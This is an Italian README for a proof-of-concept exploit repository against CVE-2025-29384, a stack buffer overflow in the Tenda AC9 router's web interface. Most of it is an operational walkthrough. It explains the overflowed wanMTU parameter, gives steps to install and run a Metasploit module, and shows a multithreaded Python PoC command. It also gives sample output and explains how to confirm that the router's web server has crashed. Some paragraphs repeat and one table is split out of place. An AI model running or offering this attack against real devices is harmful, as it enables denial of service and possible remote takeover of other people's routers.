
POC per CVE-2025-29384
Questo repository contiene un exploit proof-of-concept (PoC) avanzato per CVE-2025-29384, una vulnerabilità critica di buffer overflow basato su stack scoperta nel router Tenda AC9 con versione firmware V15.03.05.14_multi. Questa vulnerabilità consente a remoti aggressori non autenticati di mandare in crash il server web del router (Denial-of-Service, DoS) e potenzialmente eseguire codice arbitrario (Remote Code Execution, RCE).
Lo scopo di questo progetto è dimostrare competenze nello sviluppo di exploit, contribuire alla community di cybersecurity e fornire una vetrina educativa per valutazioni accademiche (ad esempio, borse di studio in cybersecurity). Questo repository contiene un exploit proof-of-concept (PoC) avanzato per CVE-2025-29384, una vulnerabilità critica di buffer overflow basato su stack scoperta nel router Tenda AC9 con versione firmware V15.03.05.14_multi. Questa vulnerabilità consente a remoti aggressori non autenticati di mandare in crash il server web del router (Denial-of-Service, DoS) e potenzialmente eseguire codice arbitrario (Remote Code Execution, RCE).
Lo scopo di questo progetto è dimostrare competenze nello sviluppo di exploit, contribuire alla community di cybersecurity e fornire una vetrina educativa per valutazioni accademiche, come borse di studio in cybersecurity.
CVE-2025-29384 colpisce l'interfaccia di gestione web del router Tenda AC9, in particolare l'endpoint:
/goform/AdvSetMacMtuWan
La vulnerabilità esiste a causa di controlli inadeguati sui limiti del parametro wanMTU, che viene elaborato tramite una richiesta HTTP POST. L'input viene copiato in un buffer stack a dimensione fissa senza validazione, portando a un classico buffer overflow basato su stack.
La funzione vulnerabile (ricostruzione ipotetica) segue questa struttura:
void process_mtu(char *input) {
char buffer[256]; // Buffer stack a dimensione fissa
strcpy(buffer, input); // Nessun controllo di lunghezza, causa overflow
// Elabora il valore MTU...
}
Un aggressore che invia un payload sovradimensionato (ad esempio, 1024+ byte) sovrascrive la memoria adiacente, incluso l'indirizzo di ritorno della funzione, portando potenzialmente a esecuzione di codice.
Il Tenda AC9 è un router wireless dual-band con le seguenti specifiche:
Questo repository include anche un modulo Metasploit basato su Ruby per CVE-2025-29384. Il modulo si integra perfettamente con il Metasploit Framework, consentendo di sfruttare la vulnerabilità tramite msfconsole.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Individuare il file del modulo Ruby e copiarlo nella directory degli exploit di Metasploit:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
Nota: Se la directory non esiste, crearla:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Avviare il Metasploit Framework:
msfconsole
Caricare il modulo:
use exploit/linux/http/tenda_ac9_stack_overflow
Impostare l'indirizzo IP del target:
set RHOSTS <target_ip>
Impostare la dimensione del payload (opzionale, il valore predefinito è 1024):
set PAYLOAD_SIZE 2048
Eseguire l'exploit:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
Successo: Il server web del router va in crash, causando una condizione di Denial-of-Service (DoS).
Fallimento: Il router rimane operativo, indicando che potrebbe non essere vulnerabile o che sta eseguendo una versione firmware patchata.
Questo PoC è un exploit basato su Python che invia input sovradimensionato a /goform/AdvSetMacMtuWan, attivando un buffer overflow per mandare in crash il server web e mostrando il potenziale per RCE.
Multithreading – Lancia più tentativi di exploit concorrenti per affidabilità.
Payload Dinamici – Genera stringhe di attacco casuali codificate in base64.
Registrazione (Logging) – Usa il modulo di logging di Python per un debug strutturato.
Parametri Personalizzabili – Regola IP del target, dimensione del payload e numero di thread.
Questo PoC è un exploit basato su Python che invia input sovradimensionato a /goform/AdvSetMacMtuWan, attivando un buffer overflow per mandare in crash il server web.
python poc.py --target <router_ip> --size 2048 --threads 10
| Argomento | Descrizione |
|---|---|
--target | IP del router (predefinito: ) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
Successo: L'interfaccia web del router diventa non reattiva (condizione DoS).
Fallimento: Il router risponde ancora (non vulnerabile o firmware errato).
Per confermare che l'exploit mandi in crash il router con successo, provare a ricaricare l'interfaccia web. Se diventa non reattiva, l'attacco è riuscito. Per un'analisi più approfondita, controllare i log di rete per connessioni interrotte o usare ping per verificare la reattività del dispositivo.
Questo progetto è solo per scopi educativi e di hacking etico. L'uso non autorizzato di questo exploit è illegale. L'autore non è responsabile per un uso improprio o per danni causati da questo codice.
Sviluppato con ❤️ da Otsmane Ahmed Questo progetto è solo per scopi educativi e di hacking etico. L'uso non autorizzato di questo exploit è illegale. L'autore non è responsabile per un uso improprio o per danni causati da questo codice.
Questo progetto è rilasciato sotto la Licenza MIT.
| Metrica | Valore |
|---|
| Vettore di attacco | Rete |
| Complessità dell'attacco | Bassa |
| Privilegi richiesti | Nessuno |
| Interazione con l'utente | Nessuna |
| Impatto sulla riservatezza | Alto |
| Impatto sull'integrità | Alto |
| Impatto sulla disponibilità | Alto |
192.168.0.1--size | Dimensione del payload in byte (predefinito: 1024) |
--threads | Numero di thread concorrenti (predefinito: 5) |